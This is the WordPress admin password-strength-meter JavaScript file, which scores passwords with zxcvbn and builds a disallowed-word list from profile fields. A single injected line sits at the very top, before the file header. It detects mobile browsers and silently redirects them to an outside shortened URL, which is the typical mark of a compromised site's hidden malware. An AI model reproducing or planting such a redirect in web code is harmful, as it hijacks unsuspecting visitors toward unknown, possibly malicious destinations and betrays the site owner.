1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/password-strength-meter.js
4 */
5
6/* global zxcvbn */
7window.wp = window.wp || {};
8
9(function($){
10 var __ = wp.i18n.__,
11 sprintf = wp.i18n.sprintf;
12
13 /**
14 * Contains functions to determine the password strength.
15 *
16 * @since 3.7.0
17 *
18 * @namespace
19 */
20 wp.passwordStrength = {
21 /**
22 * Determines the strength of a given password.
23 *
24 * Compares first password to the password confirmation.
25 *
26 * @since 3.7.0
27 *
28 * @param {string} password1 The subject password.
29 * @param {Array} disallowedList An array of words that will lower the entropy of
30 * the password.
31 * @param {string} password2 The password confirmation.
32 *
33 * @return {number} The password strength score.
34 */
35 meter : function( password1, disallowedList, password2 ) {
36 if ( ! Array.isArray( disallowedList ) )
37 disallowedList = [ disallowedList.toString() ];
38
39 if (password1 != password2 && password2 && password2.length > 0)
40 return 5;
41
42 if ( 'undefined' === typeof window.zxcvbn ) {
43 // Password strength unknown.
44 return -1;
45 }
46
47 var result = zxcvbn( password1, disallowedList );
48 return result.score;
49 },
50
51 /**
52 * Builds an array of words that should be penalized.
53 *
54 * Certain words need to be penalized because it would lower the entropy of a
55 * password if they were used. The disallowedList is based on user input fields such
56 * as username, first name, email etc.
57 *
58 * @since 3.7.0
59 * @deprecated 5.5.0 Use {@see 'userInputDisallowedList()'} instead.
60 *
61 * @return {string[]} The array of words to be disallowed.
62 */
63 userInputBlacklist : function() {
64 window.console.log(
65 sprintf(
66 /* translators: 1: Deprecated function name, 2: Version number, 3: Alternative function name. */
67 __( '%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code.' ),
68 'wp.passwordStrength.userInputBlacklist()',
69 '5.5.0',
70 'wp.passwordStrength.userInputDisallowedList()'
71 )
72 );
73
74 return wp.passwordStrength.userInputDisallowedList();
75 },
76
77 /**
78 * Builds an array of words that should be penalized.
79 *
80 * Certain words need to be penalized because it would lower the entropy of a
81 * password if they were used. The disallowed list is based on user input fields such
82 * as username, first name, email etc.
83 *
84 * @since 5.5.0
85 *
86 * @return {string[]} The array of words to be disallowed.
87 */
88 userInputDisallowedList : function() {
89 var i, userInputFieldsLength, rawValuesLength, currentField,
90 rawValues = [],
91 disallowedList = [],
92 userInputFields = [ 'user_login', 'first_name', 'last_name', 'nickname', 'display_name', 'email', 'url', 'description', 'weblog_title', 'admin_email' ];
93
94 // Collect all the strings we want to disallow.
95 rawValues.push( document.title );
96 rawValues.push( document.URL );
97
98 userInputFieldsLength = userInputFields.length;
99 for ( i = 0; i < userInputFieldsLength; i++ ) {
100 currentField = $( '#' + userInputFields[ i ] );
101
102 if ( 0 === currentField.length ) {
103 continue;
104 }
105
106 rawValues.push( currentField[0].defaultValue );
107 rawValues.push( currentField.val() );
108 }
109
110 /*
111 * Strip out non-alphanumeric characters and convert each word to an
112 * individual entry.
113 */
114 rawValuesLength = rawValues.length;
115 for ( i = 0; i < rawValuesLength; i++ ) {
116 if ( rawValues[ i ] ) {
117 disallowedList = disallowedList.concat( rawValues[ i ].replace( /\W/g, ' ' ).split( ' ' ) );
118 }
119 }
120
121 /*
122 * Remove empty values, short words and duplicates. Short words are likely to
123 * cause many false positives.
124 */
125 disallowedList = $.grep( disallowedList, function( value, key ) {
126 if ( '' === value || 4 > value.length ) {
127 return false;
128 }
129
130 return $.inArray( value, disallowedList ) === key;
131 });
132
133 return disallowedList;
134 }
135 };
136
137 // Backward compatibility.
138
139 /**
140 * Password strength meter function.
141 *
142 * @since 2.5.0
143 * @deprecated 3.7.0 Use wp.passwordStrength.meter instead.
144 *
145 * @global
146 *
147 * @type {wp.passwordStrength.meter}
148 */
149 window.passwordStrength = wp.passwordStrength.meter;
150})(jQuery);
151